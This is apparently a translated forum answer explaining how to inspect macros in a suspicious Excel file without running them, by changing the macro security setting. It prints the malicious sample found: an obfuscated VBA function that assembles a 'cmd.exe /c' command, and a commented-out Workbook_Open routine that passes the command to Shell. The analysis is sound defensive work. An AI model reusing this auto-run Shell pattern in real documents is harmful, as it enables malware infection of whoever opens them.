Хоча відповіді Mokubai та hBy2Py здаються чудовими і справді дозволяють показувати редактор VBA, здається, що принаймні в Excel від Microsoft Office Professional Plus 2016 все ще не дозволяє переглядати код.
Мені трапляється мати цю версію, і я був впевнений, що отримав зловмисний XLS і хотів його перевірити. Після відкриття його в Excel він відкрився в безпечному режимі, як зазвичай, і, звичайно, я не мав наміру відхиляти цей режим. Коли я відкрив редактор VBA, як вказали інші респонденти, мені подали ... порожній редактор VBA . На панелі "Провідник проектів" корисно відобразилося повідомлення "Немає відкритих проектів", незважаючи на те, що я ще не закрив файл XLS. Просто заради тестування я відкрив другий документ (один із моїх робіт), і він негайно з’явився в редакторі VBA і був (належним чином) повністю позбавлений будь-якої VBA. Однак документ з Інтернету не був вказаний у редакторі VBA .
Я витратив якийсь час, намагаючись з’ясувати, чому так, і не знайшов причин. Здається, що моє видання Excel просто не надсилає модулі VBA до редактора VBA, коли документ завантажується в безпечному режимі. На жаль, редактору VBA не вистачає функції "відкритої VBA від Office Document", тому зрозуміло, що тут є мозок Excel, і він повинен розпакувати / розшифрувати / будь-який XLS.
Рішення виявилося досить простим.
- Клацніть
Ribbon
-> Developer
->MacroSecurity
- або
File
-> Options
-> SecurityCenter
(остання група варіантів) -> Settings
-> Macros
)
- Згадайте (або запишіть), які є поточні налаштування
- Змініть їх на "Блокувати всі макроси без повідомлення"
- Підтвердьте, закрийте, знову відкрийте документ, заново відкрийте редактор VBA
- Відновіть оригінальні налаштування, поки ви закінчили грати з вогнем
Ефекти:
- повідомлення не відображалося
- документ завантажений повністю
- жодні макроси не виконувалися
- VBA Editor отримав модулі та представив увесь код
Якщо вам цікаво: так, це справді був злісний, крихітний приклад:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
До речі. як ви бачите, я негайно прокоментував точку входу та повторно зберег документ, якщо я дозволяю макросам запускатись у якийсь момент пізніше.
Alt
+F11
може призвести! SECURITY WARNING ... Enable Content
до зникнення банера, що " " означає, що виконання коду тепер увімкнено. Це вводить в оману. Ви можете демонструвати це, створивши документ зon_open()
модулем. Ви зможете ввійти доAlt
+F11
та перевірити код, не запускаючи подію.